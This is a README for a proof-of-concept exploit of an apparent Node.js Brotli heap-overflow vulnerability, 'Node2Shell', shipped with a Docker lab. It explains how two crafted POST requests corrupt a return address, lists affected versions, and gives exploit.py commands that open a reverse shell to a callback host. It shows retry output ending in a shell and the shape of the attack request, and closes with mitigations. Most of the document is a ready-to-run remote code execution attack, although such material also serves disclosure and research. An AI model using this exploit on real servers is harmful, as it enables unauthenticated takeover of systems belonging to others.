
Proof-of-concept exploit for CVE-2026-111497 (Node2Shell) that triggers remote code execution via a crafted upload and delivers a reverse shell, with a Docker lab.
★ CVE-2026-111497 "Node2Shell" (Brotli OOB write → unauthenticated RCE) PoC ★
https://github.com/user-attachments/assets/7bb24ee2-0153-4936-a7a5-4550bd4eb0e3
CVE-2026-111497 ("Node2Shell") is an unauthenticated out-of-bounds heap write (CWE-787) in the Brotli decoder bundled with Node.js, reachable whenever an app auto-decompresses
Content-Encoding: brrequest bodies (e.g. Express 5 / body-parser 2.xexpress.json()). A single craftedPOSTunderflows the decoder'sblock_lengthcounter (an ignoredvoidblock-switch failure), corrupting internal state until an LZ77memmove16writes 16 bytes out of bounds onto a saved return address → RCE on non-PIE Node (probabilistic under ASLR, retried; a miss crashes the worker → DoS).
| Category | Version |
|---|---|
| Vulnerable | Node.js bundling Brotli 1.0.3 – 1.2.0 (incl. Node 24.x ≤ 24.22.0), when the app auto-decompresses Content-Encoding: br request bodies (Express 5 / body-parser 2.x) |
| Patched | Node 22.23.4 / 24.22.1 / 26.12.1 (bundled Brotli 1.0.10 / 1.1.1 / 1.2.1) or later |
| This lab | Node v24.22.0 · Express 5.3.0 (vulnerable) |
POST with a crafted Content-Encoding: br body corrupts a return address and pivots into a ROP chain that runs /bin/bash (reverse shell in this PoC)br request bodiesBrotliDecoderErrorCode and checks it (BROTLI_SAFE_WITH_STATUS), so a failed switch aborts decoding instead of underflowing the counterBuild and run the vulnerable Express app. It mounts express.json() globally (app.use), so
the body parser decompresses Content-Encoding: br on any POST before routing — the attack
path is just /. The container's CMD runs the server in a restart loop so that a missed
(crashing) attempt respawns with fresh ASLR for the next retry.
docker build -t cve-2026-111497 .
docker run -d --name cve-2026-111497 -p 3000:3000 cve-2026-111497
# health check (and the landing page is at http://<host>:3000/)
docker exec cve-2026-111497 sh -c 'curl -s localhost:3000/health' # -> PONG
# container IP for the exploit target
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' cve-2026-111497
| Precondition | State in this lab |
|---|---|
| Node bundling vulnerable Brotli (1.0.3 – 1.2.0) | Node v24.22.0 |
App auto-decompresses Content-Encoding: br request body | express.json() mounted globally (app.use) |
| Endpoint reachable unauthenticated | POST / (parser runs before routing; any path) |
| Non-PIE Node binary (fixed ROP gadgets) | official Node linux/x64 (non-PIE) |
| Worker respawn for ASLR retry | CMD restart loop in Dockerfile |
⚠️ The ROP gadget /
.bssaddresses inexploit.pyare hardcoded for the non-PIE Node v24.22.0 linux/x64 binary. A different Node build → recompute addresses (objdump).
PoC/exploit.py performs the full two-request attack and drops a reverse shell:
req#1 (~23 MB crafted Brotli stream) plants the ROP chain in the decoder's ring buffer and
underflows the distance counter; req#2 (256 B) fires the 16-byte OOB write onto the saved
return address. It loops up to 90 attempts (1 − 0.95⁹⁰ ≈ 99%), respawning the worker on each
miss, and relays an interactive shell on success.
# target host[:port][/path] — default port 3000, default path /
# callback IP auto-detected (or pass it explicitly as the 2nd arg)
python3 exploit.py 172.17.0.2:3000/
# explicit reverse-shell callback host:port
python3 exploit.py 172.17.0.2:3000/ 172.17.0.1:4444
[*] 172.17.0.2:3000/ -> 172.17.0.1:4444
attempt=1/90 miss
attempt=2/90 miss
...
[+] SHELL from 172.17.0.2:49188 (attempt 7/90)
node@3f2a1b4c9d7e:/app$ id
uid=1000(node) gid=1000(node) groups=1000(node)
Arguments:
host[:port][/path] — target; default port 3000, default path / (global express.json())cb_ip[:port] — reverse-shell callback; default port 4444, auto-detected if omittedRequest shape (the body is a ~23 MB binary Brotli stream + a 256 B trigger, generated by the exploit — not hand-craftable in Burp):
POST / HTTP/1.1
Host: lab
Content-Type: application/json
Content-Encoding: br
Transfer-Encoding: chunked
Connection: close
<chunk: ~23MB crafted Brotli stream> (req#1 — ROP prefix + 2²⁴ distance commands)
<chunk: 256-byte trigger> (req#2 — fires the OOB write)
0
Content-Encoding: br on request bodies at a proxy/WAF, or disable request-body inflation (e.g. body-parser inflate: false), and keep a strict body-size limitbr request bodies could have been crashed or compromised — restart/rotate affected workers and review logs for repeated large br POSTs